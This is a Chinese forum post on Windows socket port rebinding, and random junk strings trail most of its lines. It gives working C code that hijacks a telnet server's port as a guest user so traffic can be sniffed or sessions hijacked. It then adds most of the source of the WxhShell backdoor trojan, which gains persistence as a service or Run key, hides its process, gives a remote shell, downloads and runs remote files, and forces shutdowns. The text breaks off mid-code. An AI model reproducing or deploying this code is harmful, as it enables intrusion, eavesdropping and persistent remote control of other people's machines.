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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ; "3+YTtp  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  d^|0R  
T5O _LCIws  
  saddr.sin_family = AF_INET; 4ujvD^  
l =IeJh  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); q*)+K9LRk  
[hRU&z;W  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); MK}-<&v  
z{]?h cY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9tg)Mo%  
N{d@^Yj  
  这意味着什么?意味着可以进行如下的攻击: uENdI2EY8y  
7L:7/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 kJ)gP2E  
;pRcVL_4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $WW)bP d4^  
~2_lp^Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]|:uU  
jQj,q{eA  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Z"I/ NGiU  
`xKFqx:e  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 34|a:5c  
;9uRO*H?T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 sNU}n<J-  
@\Js8[wS9@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =fyyqb 4  
_ :^ 7a3I  
  #include gmSQcN)  
  #include uL?vG6% ^1  
  #include v+1i= s2$  
  #include    PQj<[rY  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8}BBOD  
  int main() ;8B.;%qkL  
  { O%1/ r*  
  WORD wVersionRequested; (%< 'A  
  DWORD ret; p/]s)uYp$  
  WSADATA wsaData; h ; kfh.  
  BOOL val; W."f 8ow  
  SOCKADDR_IN saddr; P -Fg^tl  
  SOCKADDR_IN scaddr; ;rBp1[qVe  
  int err; LAZVW</  
  SOCKET s; IjZ@U%g@;  
  SOCKET sc; MC=G"m:_  
  int caddsize; O]nT>;PXX  
  HANDLE mt; #s+X+fe  
  DWORD tid;   6f] rQ9  
  wVersionRequested = MAKEWORD( 2, 2 ); $3\yf?m}q  
  err = WSAStartup( wVersionRequested, &wsaData ); if~rp-\P  
  if ( err != 0 ) { /)V4k:#b  
  printf("error!WSAStartup failed!\n"); }e=e",eAT  
  return -1; *_)E6Y?9  
  } W (& 6  
  saddr.sin_family = AF_INET; +8^_D?*\n  
   HZ\k-!2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ')nnWlK  
NJ$e6$g)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !A[S6-18%-  
  saddr.sin_port = htons(23); u@D .i4U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Bxv8RB  
  { R [9w  
  printf("error!socket failed!\n"); o =9'  
  return -1; Fp:3#Bh  
  } +"L$ed(=nJ  
  val = TRUE; *ro.mQ_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 c$#GM57V  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  ? ICDIn  
  { @)z*BmP  
  printf("error!setsockopt failed!\n"); l10-XU02  
  return -1; #Wx=v$"  
  } jYdV?B  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /c^e& D  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  ^Fp=y,D  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |#cAsf_{  
n2E4!L|q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DR{] sG  
  { IHVMHOq}'  
  ret=GetLastError(); ~R{8.!: >  
  printf("error!bind failed!\n"); B"[{]GP BY  
  return -1; ZeTL$E[E}  
  } +:y&{K  
  listen(s,2); 08io<c,L  
  while(1) 5Jw"{V?Ak  
  { l4Y1(  
  caddsize = sizeof(scaddr); uWrFunh%  
  //接受连接请求 LJ l1v  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1 mHk =J~  
  if(sc!=INVALID_SOCKET) U IQ 6SvM  
  { 4ac1m,Jlt  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +{Gw9h"5g*  
  if(mt==NULL) CLktNR(45  
  { J=V yyUB  
  printf("Thread Creat Failed!\n"); &%}6q]e  
  break; =N;$0 Y(g  
  } b.,$# D{p  
  } xBt<Yt"  
  CloseHandle(mt); :@WLGK*u.  
  } PAr|1i)mB  
  closesocket(s); F_ _H(}d  
  WSACleanup(); s79 q 5  
  return 0; B%y! aQep  
  }   4UazD_`'  
  DWORD WINAPI ClientThread(LPVOID lpParam) `:R-[>5P8  
  { ^^'[%ok  
  SOCKET ss = (SOCKET)lpParam; Kf&r21h  
  SOCKET sc; -D;lS 6  
  unsigned char buf[4096]; &EGY+p|2Y  
  SOCKADDR_IN saddr; FQQ@kP$.  
  long num; KKV)DExv?  
  DWORD val; SUo^c1)G  
  DWORD ret; fls#LcI9>6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 b%<164i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |O%:P}6c  
  saddr.sin_family = AF_INET; ujow?$&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); F"Uh/EO<  
  saddr.sin_port = htons(23); |zT%$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M,ppCHy/$  
  { 7<fL[2-  
  printf("error!socket failed!\n"); 6/VNuQ_#  
  return -1; Ko]QCLL  
  } >@z d\}@W  
  val = 100; 8IpxOA#jQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6xyY+  
  { m\/>C|f\  
  ret = GetLastError(); vP-3j  
  return -1; n#)PvV~  
  } r+SEw ;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U2VV[e)Z!  
  { iJEB ?y  
  ret = GetLastError(); G]1(X38[si  
  return -1; _s2m-jm7  
  } yi sF5`+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Lf[G>0t&n  
  { l t&$8jh  
  printf("error!socket connect failed!\n"); ]Jja  
  closesocket(sc); 2%`^(\y  
  closesocket(ss); {qJHL;mP:8  
  return -1; <'yf|N!9G  
  } q;CayN'I  
  while(1) t1G1(F#&%  
  { [0h* &  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /A %om|+Gq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 MV% :ES?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @TdQZZ}G\x  
  num = recv(ss,buf,4096,0); I/oIcQS!k  
  if(num>0) }DJ|9D^yf  
  send(sc,buf,num,0); t|go5DXz4  
  else if(num==0) cBg,k[,  
  break; fui4@  
  num = recv(sc,buf,4096,0); :D<:N*9i  
  if(num>0) ?SB[lbU  
  send(ss,buf,num,0); }pbBo2  
  else if(num==0) #>7')G  
  break; c-[Q,c  
  } 9`)w@-~~  
  closesocket(ss); <QYCo1_  
  closesocket(sc); 9@$tiDV  
  return 0 ; JZs|~@  
  } #citwMW  
MV Hz$hyB  
+A]&AkTw  
========================================================== %GVEY  
3~cS}N T  
下边附上一个代码,,WXhSHELL &:;/]cwj  
nQ:ml  
========================================================== C1ZFA![  
1<XiD 3H;  
#include "stdafx.h" =fKhXd  
U@o2gjGN  
#include <stdio.h> !L &=?CX  
#include <string.h> ;J,,f1Vw  
#include <windows.h> Y|hzF:ll  
#include <winsock2.h> &Iv\jhq  
#include <winsvc.h> kGB#2J  
#include <urlmon.h> }V1DyLg :  
4@/q_*3o  
#pragma comment (lib, "Ws2_32.lib") wc<2Uc  
#pragma comment (lib, "urlmon.lib") M!xm1-,[  
gp#bQ  
#define MAX_USER   100 // 最大客户端连接数 ir?Uw:/f  
#define BUF_SOCK   200 // sock buffer \j,v/C@c-  
#define KEY_BUFF   255 // 输入 buffer ef;& Y>/  
"Cb.cO$i;  
#define REBOOT     0   // 重启 /7UovKKbz  
#define SHUTDOWN   1   // 关机 j6&zRFX  
n.Ur-ot  
#define DEF_PORT   5000 // 监听端口 +Op%,,Db  
_|^&eT-u  
#define REG_LEN     16   // 注册表键长度 *tq|x[<  
#define SVC_LEN     80   // NT服务名长度 >.!5M L\  
b6LC$"t0  
// 从dll定义API N=O+X~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *sc0,'0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >6.[i@RmWU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3/A[LL|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g6[/F-3Qlf  
#VQGN2bK.  
// wxhshell配置信息 'gk81@|  
struct WSCFG { r|JiGj^om  
  int ws_port;         // 监听端口 S5*~r@8h  
  char ws_passstr[REG_LEN]; // 口令 ^|F Vc48{  
  int ws_autoins;       // 安装标记, 1=yes 0=no %U=S6<lbj;  
  char ws_regname[REG_LEN]; // 注册表键名 wB1|r{  
  char ws_svcname[REG_LEN]; // 服务名 K-"HcHuF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {E3<GeHw4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HdY3DdC%q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aowPji$H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7tf81*e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8Y{}p[UFT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XoH[MJC  
$8X tI  
}; 6'No4[F 4n  
JucxhjV#,  
// default Wxhshell configuration b68G&z>   
struct WSCFG wscfg={DEF_PORT, g'}`FvADi  
    "xuhuanlingzhe", }]39 iK`w  
    1, ?*z( 1!  
    "Wxhshell", $3]E8t  
    "Wxhshell",  [A%e6  
            "WxhShell Service", vS J<  
    "Wrsky Windows CmdShell Service", +EiUAs~H  
    "Please Input Your Password: ", `!Ge"JB6   
  1, jy__Y=1}  
  "http://www.wrsky.com/wxhshell.exe", yZ?_q$4kEI  
  "Wxhshell.exe" c~pUhx1(  
    }; f@;>M9)<  
v_@#hf3  
// 消息定义模块 wzQdKlV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8@LykJbP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; RESGI}u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 32-3C6f@oZ  
char *msg_ws_ext="\n\rExit."; >;'1k'  
char *msg_ws_end="\n\rQuit."; |q!2i  
char *msg_ws_boot="\n\rReboot..."; !irX[,e  
char *msg_ws_poff="\n\rShutdown..."; /nMqEHCyg  
char *msg_ws_down="\n\rSave to "; `i>B|g-  
P B6/<n9#  
char *msg_ws_err="\n\rErr!"; ZAo)_za&mH  
char *msg_ws_ok="\n\rOK!"; qq9tBCk  
MBYD,v&  
char ExeFile[MAX_PATH]; T`'3Cp$q  
int nUser = 0; "za*$DU  
HANDLE handles[MAX_USER]; <>*''^  
int OsIsNt; sei!9+bZr  
_KkVI7a  
SERVICE_STATUS       serviceStatus; CO%O<_C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0.Ol@fO  
J*lYH]s  
// 函数声明 #u=O 5%.  
int Install(void); .&yWHdQC:  
int Uninstall(void); f $@".  
int DownloadFile(char *sURL, SOCKET wsh); tv=FFfQ  
int Boot(int flag); knK=ENf;e  
void HideProc(void); 1d@^,7MF-  
int GetOsVer(void); 8s5ru)  
int Wxhshell(SOCKET wsl); -WW!V(~p  
void TalkWithClient(void *cs); $5"-s]  
int CmdShell(SOCKET sock); O"-PNF,J  
int StartFromService(void); 2|NyAtPb5  
int StartWxhshell(LPSTR lpCmdLine); j&G~;(DY  
VX>t!JP p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); owY_cDzrH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h }%M  
$Q$d\Yvi  
// 数据结构和表定义 !RUo:b+  
SERVICE_TABLE_ENTRY DispatchTable[] = ?o DfI  
{ a5~C:EU0  
{wscfg.ws_svcname, NTServiceMain}, uy-Ncy  
{NULL, NULL} w*ktx{  
}; r|F,\fF  
;WAu]C|  
// 自我安装 ]:#$6D"  
int Install(void) S"A_TH  
{ ~u`! Gi  
  char svExeFile[MAX_PATH]; ?# c@Ag %  
  HKEY key; L8K3&[l%  
  strcpy(svExeFile,ExeFile); 0|Ft0y`+  
]{U*+K%,J  
// 如果是win9x系统,修改注册表设为自启动 k 5r*?Os  
if(!OsIsNt) { lz0]p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B;7s]R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W2(=m!:U  
  RegCloseKey(key); )3\rp$]1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XUNgt(OGR'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R#bV/7Ol  
  RegCloseKey(key); ^g){)rz|  
  return 0; E :g ArQ  
    } n?fC_dy  
  } IX3 yNTW"L  
} L`@&0Zk  
else { +Ws}a  
W&[9x%Ba  
// 如果是NT以上系统,安装为系统服务 o@~gg *  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FsZEB/c  
if (schSCManager!=0) Ec/+9H6g  
{ s_?* R  
  SC_HANDLE schService = CreateService 8(K~QvE~  
  ( r~a}B.pj  
  schSCManager, Qnc S&  
  wscfg.ws_svcname, T js{ )r9  
  wscfg.ws_svcdisp, 52Ffle8  
  SERVICE_ALL_ACCESS, Dp'af4+%$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @d9*<>@:  
  SERVICE_AUTO_START, l%w|f`B:  
  SERVICE_ERROR_NORMAL, w5R9\<3L  
  svExeFile, tXGcwoOB  
  NULL, !}m 8]&  
  NULL, 5Z0x2 jV  
  NULL, ]qQB+]WN  
  NULL, imuHSxcaV  
  NULL h 'CLf]  
  );  F<1'M#bl  
  if (schService!=0) @}}1xP4Sr  
  { O3^@"IY  
  CloseServiceHandle(schService); nI` 1@ vB&  
  CloseServiceHandle(schSCManager); !2,.C+,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I!%@|[ Ow  
  strcat(svExeFile,wscfg.ws_svcname); hD=D5LYAZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KJ |1zCM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Va:jMN  
  RegCloseKey(key); z}|'&O*.F  
  return 0; v7RDoO]I  
    } |MGw$  
  } {K}+$jzGVt  
  CloseServiceHandle(schSCManager); p_5+L@%Gb  
} cwM0Z6  
} 83|/sWrvh  
S|i //I%_  
return 1; U$%w"k7^(  
} )oCF| 2qc  
3J{'|3x  
// 自我卸载 "^7Uk#! 7  
int Uninstall(void) Ro69woU  
{ ZGBcy}U(k  
  HKEY key; Z7/lFS'~N  
ekXHfA!i%  
if(!OsIsNt) { UJ+JVj   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  #Ki@=*  
  RegDeleteValue(key,wscfg.ws_regname); @A%`\Ea%  
  RegCloseKey(key); [\y>Gv%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1F-L( \oKm  
  RegDeleteValue(key,wscfg.ws_regname); xC]/i(+bA  
  RegCloseKey(key); 6I<`N  
  return 0; G"(!5+DLy  
  } jA'+>`@  
} yCVBG  
} ]cK@nq)  
else { b(F`$N@7C  
7(-<x@e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v}U;@3W8U  
if (schSCManager!=0) v,! u{QP  
{ A}o1I1+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5Dd;?T>  
  if (schService!=0) -vQ`}e1  
  { ] N8V?.|:  
  if(DeleteService(schService)!=0) { y[# U/2  
  CloseServiceHandle(schService); b?l\Q Mvi  
  CloseServiceHandle(schSCManager); G}g+2`  
  return 0; )deuB5kz  
  } aE}u5L$#  
  CloseServiceHandle(schService); @,hvXl-G*  
  } : s35{K  
  CloseServiceHandle(schSCManager); f#?R!pR  
} 9 (Z)c  
} H'0S;A+Y6  
2zAS \Y  
return 1; E;SF f  
} "Y6 f.rB  
q0o6%c:gW  
// 从指定url下载文件 wcO_;1_ H  
int DownloadFile(char *sURL, SOCKET wsh) BQ(`MM@  
{ #gP\q?5Ov  
  HRESULT hr; i=+ "[h^  
char seps[]= "/"; d+kIof,  
char *token; 7_LE2jpC,5  
char *file; %~@}wHMB  
char myURL[MAX_PATH]; >:.Bn8-  
char myFILE[MAX_PATH]; "{}5uth  
F C"dQ  
strcpy(myURL,sURL); )Fbkt(1  
  token=strtok(myURL,seps); N9hBGa$  
  while(token!=NULL) 16AYB17  
  { R lv|DED$  
    file=token; .- w*&Hd7b  
  token=strtok(NULL,seps); cP-6O42  
  } 0 I,-1o|s  
F"_SCA?9?  
GetCurrentDirectory(MAX_PATH,myFILE); :)&_  
strcat(myFILE, "\\"); :Q 89j4,  
strcat(myFILE, file); Gg_i:4F  
  send(wsh,myFILE,strlen(myFILE),0); TMbj]Mso  
send(wsh,"...",3,0); VE!h!`<k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6HyQm?c>a  
  if(hr==S_OK) ,oR}0(^"\<  
return 0; E0w>c'kH  
else 2$|WXYY  
return 1; 0-7xcF@s  
;s{rJG{inG  
} SH"O<c Dp  
4e* rBTl  
// 系统电源模块 ~"8b\oLW  
int Boot(int flag) \S _ycn  
{ 2x0[@cT i?  
  HANDLE hToken; }oU0J  
  TOKEN_PRIVILEGES tkp; `Q,03W#GJ%  
?me0J3u_  
  if(OsIsNt) { [W` _`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @hp@*$#& 9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >%t"VpvR  
    tkp.PrivilegeCount = 1; )jvYJ9s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XfharJ_b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %kUIIH V}  
if(flag==REBOOT) { yqZKn=1:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qn:3s  
  return 0; Ft'?43J  
} h",kA(+P  
else { &G:#7HX@-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w(0's'  
  return 0; ; &$djP  
} pwr,rAJ}$j  
  } *bsS%qD]  
  else { s"s^rC  
if(flag==REBOOT) { 26?yEd6^Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "{Lp'+wNw  
  return 0; sk6C/ '0:  
} 3U^E<H  
else { p@0Va  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) { HHc} 8  
  return 0; @p~f*b4H?  
} ye4 T2=  
} K 0R<a~  
j&~`H:=E  
return 1; 5 o-WA1  
} Z jLuqo  
nB>C3e  
// win9x进程隐藏模块 jOV,q%)^,:  
void HideProc(void)  UDl[  
{ g$+ $@~  
=MMU(0 E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;hzm&My  
  if ( hKernel != NULL ) -k(bM:  
  { P3Ocfpf Bp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4;_aFn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <u`m4w  
    FreeLibrary(hKernel); m%7T ~  
  } w8~B@}%  
K FMx(fD  
return; JlaT -j  
} rs`"Kz`(  
)/Z% HBn  
// 获取操作系统版本 x:dI:G  
int GetOsVer(void) $1KvL8  
{ 'qoDFR\v  
  OSVERSIONINFO winfo; 'Sk-L 5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3FetyW l'  
  GetVersionEx(&winfo); !I)wI~XF)5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <+3-(&  
  return 1; Cg#@JuwHa  
  else }:SWgPfc  
  return 0; 2d:IYCl4q  
} )b\89 F  
S~GL_#a  
// 客户端句柄模块 _98 %?0  
int Wxhshell(SOCKET wsl) RZ +SOZs7H  
{ 0Tp,b (; n  
  SOCKET wsh; (?y (0%q  
  struct sockaddr_in client; V;@kWE>3  
  DWORD myID; <?h,;]U  
&GKtD)  
  while(nUser<MAX_USER) /U@T#S  
{ F4:giu ht  
  int nSize=sizeof(client); J!+)v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DWXxB  
  if(wsh==INVALID_SOCKET) return 1; ?mq<#/qb  
vHmsS\\~9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o W<Z8s;p  
if(handles[nUser]==0) ;:Kd?Tz$  
  closesocket(wsh); J>w3>8!>7  
else CO5>Q o  
  nUser++; -h%!#g  
  } yb4Jsk5%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hH.X_X?d%  
[Z -S0  
  return 0; x )w6  
} 1w~@'ZyU  
%D_pTD\  
// 关闭 socket 0r/pZ3/  
void CloseIt(SOCKET wsh) #Y>os3]  
{ ?7|6jTIs  
closesocket(wsh); 8`]1Nt!*B  
nUser--; lk(.zYaaN  
ExitThread(0); !Zi_4 .(4  
} )1PjI9M  
IUZ@n0/T  
// 客户端请求句柄 ;;{!wA+"D  
void TalkWithClient(void *cs) 5JvrQGvL  
{ aePLP  
i*l-w4D^U  
  SOCKET wsh=(SOCKET)cs; |G(9mnZ1  
  char pwd[SVC_LEN]; 7Z7e}| \W  
  char cmd[KEY_BUFF]; 552yzn1  
char chr[1]; Kh' 7N!  
int i,j; &aLelJ~  
bw[s<z|LKA  
  while (nUser < MAX_USER) { *= ;M',nx  
> 3SZD  
if(wscfg.ws_passstr) { -:]-g:;/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8~@?cy1j!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y} W-OLE  
  //ZeroMemory(pwd,KEY_BUFF); *Y\C5L ]  
      i=0; WJ[ybzVj  
  while(i<SVC_LEN) { SSH 1Ge5|  
-qW[.B  
  // 设置超时 y(92Th$  
  fd_set FdRead; 7}%Z>  
  struct timeval TimeOut; ]ML(=7z"  
  FD_ZERO(&FdRead); c7R<5f  
  FD_SET(wsh,&FdRead); \#%1t  
  TimeOut.tv_sec=8; 0<4Nf]i  
  TimeOut.tv_usec=0; yZc_PC`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zho$g9*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4apy{W  
^(c.A YI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X={Z5Xxr"  
  pwd=chr[0]; "'@>cJ=  
  if(chr[0]==0xd || chr[0]==0xa) { Xub<U>e;b  
  pwd=0; q7kE+z   
  break; i+XHXpk  
  } Mq,2S  
  i++; P7D__hoE  
    } DYej<T'?3  
%}/|/=  
  // 如果是非法用户,关闭 socket MIx,#]C&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K?$|Y-_D^M  
} E9 6` aF{]  
4mM?RGWv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q*K31Ln  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H:5- S  
Uz$.sa  
while(1) { bZf}m=C!  
Wfp>BC  
  ZeroMemory(cmd,KEY_BUFF); 'fS&WVR?  
<%b a 3<sg  
      // 自动支持客户端 telnet标准   sn-P&"q  
  j=0; /O {iL:`  
  while(j<KEY_BUFF) { $Si|;j$?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8H@]v@Z2  
  cmd[j]=chr[0]; J2avt  
  if(chr[0]==0xa || chr[0]==0xd) { dW#T1mB  
  cmd[j]=0; 5e|yW0o  
  break; D\0q lCAs  
  } mO8E-D*3  
  j++; #BhDC.CcW  
    } b2Oj 1dP1  
,9YgznQ  
  // 下载文件 e754g(|>b  
  if(strstr(cmd,"http://")) { 155vY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +rWcfXOHM  
  if(DownloadFile(cmd,wsh)) N;mJHr3[F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <1eD*sC?g  
  else Z3qr2/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \m%Z;xKG  
  } 5Ei4$T  
  else { h\lyt(.s  
q5#6PYIq  
    switch(cmd[0]) { 4`zK`bRcK#  
  a?1lj,"~R  
  // 帮助 TW~%1G_v  
  case '?': { ~jD~_JGp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i#K Y'"P  
    break; }P\J?8  
  } ,"U|gJn|^  
  // 安装 /C6$B)w_*{  
  case 'i': { oZ\zi> Y,  
    if(Install()) zXaA5rZO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bR*} s/  
    else =<[M$"S7d6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]=G  dAW  
    break; K_GqM9  
    } oCSJ<+[(C  
  // 卸载 yF@72tK  
  case 'r': { MmH(dp+  
    if(Uninstall()) ~9Cw5rwH<;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); on.m '-s  
    else s8+{##"1 q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *hlinQKs  
    break;  Q5 =  
    } /[+qw%>  
  // 显示 wxhshell 所在路径 kJ"}JRA<  
  case 'p': { q'KXn0IY#  
    char svExeFile[MAX_PATH]; 3(3-#MD0  
    strcpy(svExeFile,"\n\r"); 0) Q*u  
      strcat(svExeFile,ExeFile); Cig! 3  
        send(wsh,svExeFile,strlen(svExeFile),0); 48LzI@H&  
    break; p+}eP|N  
    }  U92?e}=]  
  // 重启 9)J)r \  
  case 'b': { paZcTC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L8?;A9pc()  
    if(Boot(REBOOT)) ~}g) N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,+!|~1  
    else { 17[vq!x6  
    closesocket(wsh); &uXu$)IZ  
    ExitThread(0); ,:pKNWY)Q  
    } } QpyU%  
    break; ,U=7#Cf!  
    } +m4?a\U  
  // 关机 "#]V^Rzxh  
  case 'd': { N >k,"=N /  
